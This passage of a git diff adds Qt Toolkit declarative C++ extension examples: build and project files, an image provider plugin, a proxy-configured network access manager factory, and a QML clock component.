+ d="m 91.15,132.4 c 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -4.34,0 -7.68,2.535 -10.01,7.625 -2.52,5.543 -3.793,17.04 -3.793,34.44 0,16.82 1.238,28.75 3.734,35.75 2.356,6.672 5.879,9.976 10.5,9.976 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 m 17.98,3.75 c -4.117,9.707 -10.39,16.06 -18.99,19 0.867,4.449 2.176,7.441 3.922,9.019 1.351,1.211 3.433,1.821 6.222,1.821 0.805,0 1.668,-0.055 2.59,-0.157 v 13.12 l -5.961,0.782 c -1.758,0.23 -3.426,0.343 -5.004,0.343 -5.218,0 -9.445,-1.265 -12.62,-3.824 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 1.629,0 3.309,0.102 5.043,0.305 11.95,1.375 20.62,7.016 26.26,16.79 5.535,9.562 8.254,23.27 8.254,41.26 0,16.48 -2,29.45 -6.043,39.02 z M 130.4,45.91 l 11.52,1.238 0,20.21 12.96,0.914 0,12.68 -12.96,-0.598 0,46.33 c 0,4.032 0.445,6.625 1.34,7.789 0.8,1.067 2.046,1.594 3.71,1.594 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 v 11.65 c -5.136,2.258 -10.18,3.598 -15.12,4.02 -0.718,0.055 -1.41,0.086 -2.078,0.086 -4.48,0 -7.906,-1.301 -10.25,-3.934 -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.535 L 118.046,79.25 V 65.66 l 7.586,0.547 4.773,-20.3 z" />
+ <path
+ d="m 100.3,166 c 0.809,0 1.672,-0.055 2.59,-0.157 H 98.054 C 98.73,165.949 99.507,166 100.3,166 z"
+ style="fill:#006225"
+ id="path19" />
+ <path
+ id="path21"
+ style="fill:#006225"
+ d="m 84.85,63.98 c 2.336,5.997 3.484,16.92 3.484,32.81 0,17.7 -1.16,29.57 -3.512,35.62 -1.894,4.879 -4.527,7.902 -7.863,9.07 0.965,0.368 1.992,0.551 3.078,0.551 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -1.09,0 -2.117,0.16 -3.082,0.481 h -0.004 c 3.601,1.121 6.379,4.215 8.336,9.261 z m -2.344,114.3 c -0.113,-0.05 -0.227,-0.105 -0.336,-0.16 -0.012,-0.004 -0.023,-0.012 -0.035,-0.015 -0.102,-0.051 -0.207,-0.106 -0.309,-0.157 -0.019,-0.011 -0.039,-0.019 -0.058,-0.031 -0.09,-0.051 -0.184,-0.098 -0.278,-0.148 -0.027,-0.016 -0.054,-0.036 -0.086,-0.051 -0.082,-0.043 -0.164,-0.09 -0.242,-0.137 -0.039,-0.023 -0.078,-0.047 -0.113,-0.07 -0.07,-0.039 -0.145,-0.082 -0.215,-0.125 -0.047,-0.031 -0.094,-0.059 -0.14,-0.09 -0.059,-0.039 -0.118,-0.074 -0.176,-0.113 -0.059,-0.039 -0.114,-0.075 -0.168,-0.114 -0.051,-0.031 -0.102,-0.066 -0.149,-0.097 -0.066,-0.047 -0.132,-0.094 -0.195,-0.137 -0.039,-0.027 -0.078,-0.055 -0.113,-0.082 -0.078,-0.055 -0.153,-0.113 -0.231,-0.172 -0.023,-0.016 -0.05,-0.035 -0.078,-0.055 -0.098,-0.078 -0.199,-0.156 -0.297,-0.234 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 h -6.351 c -10.15,0.008 -18.22,3.977 -24,12.04 -6.855,9.563 -10.34,24.64 -10.34,45.07 0,18.95 2.547,33.44 7.551,43.34 4.934,9.75 12.05,15.56 21.19,17.5 1.989,9.641 5.09,16.16 9.297,19.54 3.176,2.559 7.403,3.824 12.62,3.824 0.098,0 0.199,0 0.297,-0.004 h 5.539 c -3.406,-0.05 -6.383,-0.66 -8.906,-1.828 L 82.498,178.28 z M 128.4,145.6 c -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.57 l -6.226,-0.285 v -13.59 h -6.016 v 3.035 c 0.871,3.273 1.555,6.82 2.063,10.64 l 4.164,0.192 v 51.36 c 0,6.723 1.367,11.62 4.09,14.67 2.343,2.633 5.765,3.934 10.25,3.934 h 6.015 c -4.48,0 -7.906,-1.301 -10.25,-3.934 z m 2.043,-99.66 -6.016,0 -4.668,19.88 5.911,0.422 4.773,-20.3 z" />
+ </g>
+</svg>
diff --git a/examples/declarative/cppextensions/cppextensions.pro b/examples/declarative/cppextensions/cppextensions.pro
new file mode 100644
index 00000000..33762feb
--- /dev/null
+++ b/examples/declarative/cppextensions/cppextensions.pro
@@ -0,0 +1,10 @@
+TEMPLATE = subdirs
+
+SUBDIRS += \
+ imageprovider \
+ plugins \
+ networkaccessmanagerfactory \
+ qwidgets \
+ qgraphicslayouts \
+ referenceexamples
+
diff --git a/examples/declarative/cppextensions/cppextensions.qmlproject b/examples/declarative/cppextensions/cppextensions.qmlproject
new file mode 100644
index 00000000..6b362842
--- /dev/null
+++ b/examples/declarative/cppextensions/cppextensions.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "."
+ }
+ JavaScriptFiles {
+ directory: "."
+ }
+ ImageFiles {
+ directory: "."
+ }
+ /* List of plugin directories passed to QML runtime */
+ importPaths: [ "plugins" ]
+}
diff --git a/examples/declarative/cppextensions/imageprovider/ImageProviderCore/qmldir b/examples/declarative/cppextensions/imageprovider/ImageProviderCore/qmldir
new file mode 100644
index 00000000..6be88bcc
--- /dev/null
+++ b/examples/declarative/cppextensions/imageprovider/ImageProviderCore/qmldir
@@ -0,0 +1,2 @@
+plugin qmlimageproviderplugin
+
diff --git a/examples/declarative/cppextensions/imageprovider/imageprovider-example.qml b/examples/declarative/cppextensions/imageprovider/imageprovider-example.qml
new file mode 100644
index 00000000..e8105d4e
--- /dev/null
+++ b/examples/declarative/cppextensions/imageprovider/imageprovider-example.qml
@@ -0,0 +1,49 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+import "ImageProviderCore" // import the plugin that registers the color image provider
+
+//![0]
+Column {
+ Image { source: "image://colors/yellow" }
+ Image { source: "image://colors/red" }
+}
+//![0]
+
diff --git a/examples/declarative/cppextensions/imageprovider/imageprovider.cpp b/examples/declarative/cppextensions/imageprovider/imageprovider.cpp
new file mode 100644
index 00000000..6dc5ea39
--- /dev/null
+++ b/examples/declarative/cppextensions/imageprovider/imageprovider.cpp
@@ -0,0 +1,110 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the demonstration applications of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+
+#include <qdeclarativeextensionplugin.h>
+
+#include <qdeclarativeengine.h>
+#include <qdeclarative.h>
+#include <qdeclarativeitem.h>
+#include <qdeclarativeimageprovider.h>
+#include <qdeclarativeview.h>
+#include <QImage>
+#include <QPainter>
+
+//![0]
+class ColorImageProvider : public QDeclarativeImageProvider
+{
+public:
+ ColorImageProvider()
+ : QDeclarativeImageProvider(QDeclarativeImageProvider::Pixmap)
+ {
+ }
+
+ QPixmap requestPixmap(const QString &id, QSize *size, const QSize &requestedSize)
+ {
+ int width = 100;
+ int height = 50;
+
+ if (size)
+ *size = QSize(width, height);
+ QPixmap pixmap(requestedSize.width() > 0 ? requestedSize.width() : width,
+ requestedSize.height() > 0 ? requestedSize.height() : height);
+ pixmap.fill(QColor(id).rgba());
+//![0]
+
+ // write the color name
+ QPainter painter(&pixmap);
+ QFont f = painter.font();
+ f.setPixelSize(20);
+ painter.setFont(f);
+ painter.setPen(Qt::black);
+ if (requestedSize.isValid())
+ painter.scale(requestedSize.width() / width, requestedSize.height() / height);
+ painter.drawText(QRectF(0, 0, width, height), Qt::AlignCenter, id);
+
+//![1]
+ return pixmap;
+ }
+};
+//![1]
+
+
+class ImageProviderExtensionPlugin : public QDeclarativeExtensionPlugin
+{
+ Q_OBJECT
+public:
+ void registerTypes(const char *uri)
+ {
+ Q_UNUSED(uri);
+ }
+
+ void initializeEngine(QDeclarativeEngine *engine, const char *uri)
+ {
+ Q_UNUSED(uri);
+ engine->addImageProvider("colors", new ColorImageProvider);
+ }
+
+};
+
+#include "imageprovider.moc"
+
+Q_EXPORT_PLUGIN(ImageProviderExtensionPlugin);
+
diff --git a/examples/declarative/cppextensions/imageprovider/imageprovider.pro b/examples/declarative/cppextensions/imageprovider/imageprovider.pro
new file mode 100644
index 00000000..ad918c33
--- /dev/null
+++ b/examples/declarative/cppextensions/imageprovider/imageprovider.pro
@@ -0,0 +1,29 @@
+TEMPLATE = lib
+CONFIG += qt plugin
+QT += declarative
+
+DESTDIR = ImageProviderCore
+TARGET = qmlimageproviderplugin
+
+SOURCES += imageprovider.cpp
+
+sources.files = $$SOURCES imageprovider.qml imageprovider.pro
+sources.path = $$[QT_INSTALL_EXAMPLES]/declarative/cppextensions/imageprovider
+
+target.path = $$[QT_INSTALL_EXAMPLES]/declarative/cppextensions/imageprovider/ImageProviderCore
+
+ImageProviderCore_sources.files = \
+ ImageProviderCore/qmldir
+ImageProviderCore_sources.path = $$[QT_INSTALL_EXAMPLES]/declarative/cppextensions/imageprovider/ImageProviderCore
+
+INSTALLS = sources ImageProviderCore_sources target
+
+symbian:{
+ include($$QT_SOURCE_TREE/examples/symbianpkgrules.pri)
+ TARGET.EPOCALLOWDLLDATA = 1
+
+ importFiles.files = ImageProviderCore/qmlimageproviderplugin.dll ImageProviderCore/qmldir
+ importFiles.path = ImageProviderCore
+ DEPLOYMENT += importFiles
+}
+maemo5: include($$QT_SOURCE_TREE/examples/maemo5pkgrules.pri)
diff --git a/examples/declarative/cppextensions/imageprovider/imageprovider.qmlproject b/examples/declarative/cppextensions/imageprovider/imageprovider.qmlproject
new file mode 100644
index 00000000..d4909f86
--- /dev/null
+++ b/examples/declarative/cppextensions/imageprovider/imageprovider.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "."
+ }
+ JavaScriptFiles {
+ directory: "."
+ }
+ ImageFiles {
+ directory: "."
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/cppextensions/networkaccessmanagerfactory/main.cpp b/examples/declarative/cppextensions/networkaccessmanagerfactory/main.cpp
new file mode 100644
index 00000000..2c0c96d2
--- /dev/null
+++ b/examples/declarative/cppextensions/networkaccessmanagerfactory/main.cpp
@@ -0,0 +1,106 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the demonstration applications of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QApplication>
+#include <QNetworkAccessManager>
+#include <QNetworkProxy>
+#include <QDeclarativeEngine>
+#include <QDeclarativeNetworkAccessManagerFactory>
+#include "qmlapplicationviewer.h"
+
+/*
+ This example illustrates using a QDeclarativeNetworkAccessManagerFactory to
+ create a QNetworkAccessManager with a proxy.
+
+ Usage:
+ networkaccessmanagerfactory [-host <proxy> -port <port>] [file]
+*/
+
+static QString proxyHost;
+static int proxyPort = 0;
+
+class MyNetworkAccessManagerFactory : public QDeclarativeNetworkAccessManagerFactory
+{
+public:
+ virtual QNetworkAccessManager *create(QObject *parent);
+};
+
+QNetworkAccessManager *MyNetworkAccessManagerFactory::create(QObject *parent)
+{
+ QNetworkAccessManager *nam = new QNetworkAccessManager(parent);
+ if (!proxyHost.isEmpty()) {
+ qDebug() << "Created QNetworkAccessManager using proxy" << (proxyHost + ":" + QString::number(proxyPort));
+ QNetworkProxy proxy(QNetworkProxy::HttpCachingProxy, proxyHost, proxyPort);
+ nam->setProxy(proxy);
+ }
+
+ return nam;
+}
+
+int main(int argc, char ** argv)
+{
+ QUrl source("qml/networkaccessmanagerfactory/view.qml");
+
+ QApplication app(argc, argv);
+ QmlApplicationViewer viewer;
+
+ for (int i = 1; i < argc; ++i) {
+ QString arg(argv[i]);
+ if (arg == "-host" && i < argc-1) {
+ proxyHost = argv[++i];
+ } else if (arg == "-port" && i < argc-1) {
+ arg = argv[++i];
+ proxyPort = arg.toInt();
+ } else if (arg[0] != '-') {
+ source = QUrl::fromLocalFile(arg);
+ } else {
+ qWarning() << "Usage: networkaccessmanagerfactory [-host <proxy> -port <port>] [file]";
+ exit(1);
+ }
+ }
+
+ viewer.engine()->setNetworkAccessManagerFactory(new MyNetworkAccessManagerFactory);
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationLockLandscape);
+ viewer.setMainQmlFile(source.toString());
+ viewer.showExpanded();
+
+ return app.exec();
+}
+
diff --git a/examples/declarative/cppextensions/networkaccessmanagerfactory/networkaccessmanagerfactory.pro b/examples/declarative/cppextensions/networkaccessmanagerfactory/networkaccessmanagerfactory.pro
new file mode 100644
index 00000000..4f321977
--- /dev/null
+++ b/examples/declarative/cppextensions/networkaccessmanagerfactory/networkaccessmanagerfactory.pro
@@ -0,0 +1,41 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/networkaccessmanagerfactory
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+symbian:TARGET.UID3 = 0xE1CB8EBB
+
+# Smart Installer package's UID
+# This UID is from the protected range and therefore the package will
+# fail to install if self-signed. By default qmake uses the unprotected
+# range value if unprotected UID is defined for the application and
+# 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Allow network access on Symbian
+symbian:TARGET.CAPABILITY += NetworkServices
+
+# If your application uses the Qt Mobility libraries, uncomment the following
+# lines and add the respective components to the MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# Speed up launching on MeeGo/Harmattan when using applauncherd daemon
+# CONFIG += qdeclarative-boostable
+
+# Add dependency to Symbian components
+# CONFIG += qt-components
+QT += network
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+RESOURCES += networkaccessmanagerfactory.qrc
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_EXAMPLES]/declarative/cppextensions/networkaccessmanagerfactory
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/examples/declarative/cppextensions/networkaccessmanagerfactory/networkaccessmanagerfactory.qmlproject b/examples/declarative/cppextensions/networkaccessmanagerfactory/networkaccessmanagerfactory.qmlproject
new file mode 100644
index 00000000..7f870a14
--- /dev/null
+++ b/examples/declarative/cppextensions/networkaccessmanagerfactory/networkaccessmanagerfactory.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/networkaccessmanagerfactory"
+ }
+ JavaScriptFiles {
+ directory: "qml/networkaccessmanagerfactory"
+ }
+ ImageFiles {
+ directory: "qml/networkaccessmanagerfactory"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/cppextensions/networkaccessmanagerfactory/networkaccessmanagerfactory.qrc b/examples/declarative/cppextensions/networkaccessmanagerfactory/networkaccessmanagerfactory.qrc
new file mode 100644
index 00000000..a5341c15
--- /dev/null
+++ b/examples/declarative/cppextensions/networkaccessmanagerfactory/networkaccessmanagerfactory.qrc
@@ -0,0 +1,5 @@
+<RCC>
+ <qresource prefix="/">
+ <file>qml/networkaccessmanagerfactory/view.qml</file>
+ </qresource>
+</RCC>
diff --git a/examples/declarative/cppextensions/networkaccessmanagerfactory/qml/networkaccessmanagerfactory/view.qml b/examples/declarative/cppextensions/networkaccessmanagerfactory/qml/networkaccessmanagerfactory/view.qml
new file mode 100644
index 00000000..dbae77c3
--- /dev/null
+++ b/examples/declarative/cppextensions/networkaccessmanagerfactory/qml/networkaccessmanagerfactory/view.qml
@@ -0,0 +1,47 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Image {
+ width: 100
+ height: 100
+ source: "http://qt.nokia.com/logo.png"
+}
diff --git a/examples/declarative/cppextensions/plugins/README b/examples/declarative/cppextensions/plugins/README
new file mode 100644
index 00000000..95e0eea8
--- /dev/null
+++ b/examples/declarative/cppextensions/plugins/README
@@ -0,0 +1,9 @@
+This example shows a module "com.nokia.TimeExample" that is implemented
+by a C++ plugin (providing the "Time" type), and by QML files (providing the
+"Clock" type).
+
+To run:
+
+ make install
+ qmlviewer -I . plugins.qml
+
diff --git a/examples/declarative/cppextensions/plugins/com/nokia/TimeExample/Clock.qml b/examples/declarative/cppextensions/plugins/com/nokia/TimeExample/Clock.qml
new file mode 100644
index 00000000..4b7a3e96
--- /dev/null
+++ b/examples/declarative/cppextensions/plugins/com/nokia/TimeExample/Clock.qml
@@ -0,0 +1,90 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id: clock
+ width: 200; height: 200; color: "gray"
+
+ property alias city: cityLabel.text
+ property variant hours
+ property variant minutes
+ property variant shift : 0
+
+ Image { id: background; source: "clock.png" }
+
+ Image {
+ x: 92.5; y: 27
+ source: "hour.png"
+ smooth: true
+ transform: Rotation {
+ id: hourRotation
+ origin.x: 7.5; origin.y: 73;
+ angle: (clock.hours * 30) + (clock.minutes * 0.5)
+ Behavior on angle {
+ SpringAnimation{ spring: 2; damping: 0.2; modulus: 360 }
+ }
+ }
+ }
+
+ Image {
+ x: 93.5; y: 17
+ source: "minute.png"
+ smooth: true
+ transform: Rotation {
+ id: minuteRotation
+ origin.x: 6.5; origin.y: 83;
+ angle: clock.minutes * 6
+ Behavior on angle {
+ SpringAnimation{ spring: 2; damping: 0.2; modulus: 360 }
+ }
+ }
+ }
+
+ Image {
+ anchors.centerIn: background; source: "center.png"
+ }
+
+ Text {
+ id: cityLabel; font.bold: true; font.pixelSize: 14; y:200; color: "white"
+ anchors.horizontalCenter: parent.horizontalCenter
+ }
+}
diff --git a/examples/declarative/cppextensions/plugins/com/nokia/TimeExample/center.png b/examples/declarative/cppextensions/plugins/com/nokia/TimeExample/center.png
new file mode 100644
index 00000000..7fbd802a
--- /dev/null
+++ b/examples/declarative/cppextensions/plugins/com/nokia/TimeExample/center.png
Binary files differ
diff --git a/examples/declarative/cppextensions/plugins/com/nokia/TimeExample/clock.png b/examples/declarative/cppextensions/plugins/com/nokia/TimeExample/clock.png
new file mode 100644
index 00000000..462edacc
--- /dev/null
+++ b/examples/declarative/cppextensions/plugins/com/nokia/TimeExample/clock.png
Binary files differ
diff --git a/examples/declarative/cppextensions/plugins/com/nokia/TimeExample/hour.png b/examples/declarative/cppextensions/plugins/com/nokia/TimeExample/hour.png
new file mode 100644
index 00000000..f8061a12
--- /dev/null
+++ b/examples/declarative/cppextensions/plugins/com/nokia/TimeExample/hour.png
Binary files differ
diff --git a/examples/declarative/cppextensions/plugins/com/nokia/TimeExample/minute.png b/examples/declarative/cppextensions/plugins/com/nokia/TimeExample/minute.png
new file mode 100644
index 00000000..1297ec7c
--- /dev/null
+++ b/examples/declarative/cppextensions/plugins/com/nokia/TimeExample/minute.png
Binary files differ
diff --git a/examples/declarative/cppextensions/plugins/com/nokia/TimeExample/qmldir b/examples/declarative/cppextensions/plugins/com/nokia/TimeExample/qmldir
new file mode 100644
index 00000000..e1288cfa
--- /dev/null
